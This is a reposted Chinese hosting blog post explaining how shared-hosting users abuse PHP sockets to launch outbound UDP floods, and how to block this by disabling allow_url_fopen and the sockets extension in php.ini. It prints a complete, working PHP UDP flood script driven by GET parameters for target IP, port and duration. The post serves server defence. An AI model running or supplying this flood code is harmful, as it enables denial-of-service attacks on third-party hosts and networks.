User-Profile-Image
hankin
  • 5
  • 首页
  • 分类
    • Windows
    • Web
    • VoIP
    • Virtualization
    • Trading
    • Smart Home
    • SEO
    • Security
    • Python
    • Program
    • PHP
    • OSX
    • OS
    • OpenSource
    • Nginx
    • MySQL
    • Mood
    • Linux
    • Life
    • Injection
    • Hosting
    • Finance
    • Exploits
    • CDN
  • 页面
    • About
  • 友链
    • 维酷科技
Help?

Please contact us on our email for need any support

Support
  • 首页
    首页   ›   Hosting   ›   正文
Hosting

防止虚拟主机用户利用PHP代码DOS造成用光网络带宽

2010-09-17 17:17:25
2915  0 0

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下: 
$packets = 0; 
$ip = $_GET[\’ip\’]; 
$rand = $_GET[\’port\’]; 
set_time_limit(0); 
ignore_user_abort(FALSE); 

$exec_time = $_GET[\’time\’]; 

$time = time(); 
print \”Flooded: $ip on port $rand 

\”; 
$max_time = $time+$exec_time; 

for($i=0;$i<65535;$i++){ 
$out .= \”X\”; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 

$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”; 
?> 

表现特征: 

一打开IIS,服务器的流出带宽就用光—–就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包. 

解决办法: 

在c:\windows\php.ini里设其值为Off 

allow_url_fopen = Off 

并且: 

;extension=php_sockets.dll 

前面的;号一定要有,意思就是限制用sockets.dll 

然后重启IIS

这是一篇转载文章

评论 (0)

Click here to cancel reply.

欢迎您 游客  

    ProdigYu
    181文章 116评论 6点赞 816683浏览
    随机文章
    Debian默认vim需要修改的配置
    4年前
    一张图让你玩转Vim-Vim的详细使用说明图
    12年前
    群晖docker拉取镜像报错x509:certificate has expired or is not yet valid
    2年前
    CentOS删除文件/bin/rm: argument list too long错误处理
    7年前
    iptables查看NAT链命令
    7年前
    Tags
    Apache CentOS CMD DDOS Debian DNS Docker FastCGI Google IIS IP iptables Linux Mac MySQL Nginx Opensource PHP Python Skill SSH Ubuntu Vim VMware VPN web.py Windows 删除 命令 命令提示符 安装 开源 技巧 插件 漏洞 百度 系统 组件 终端 缓存 网络电话 脚本 自建 详解 错误
    Meta
    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Copyright © 2026
    主页
    页面
    • About
    博主
    ProdigYu 管理员
    Something about myself
    181 文章 116 评论 816683 浏览
    测试
    测试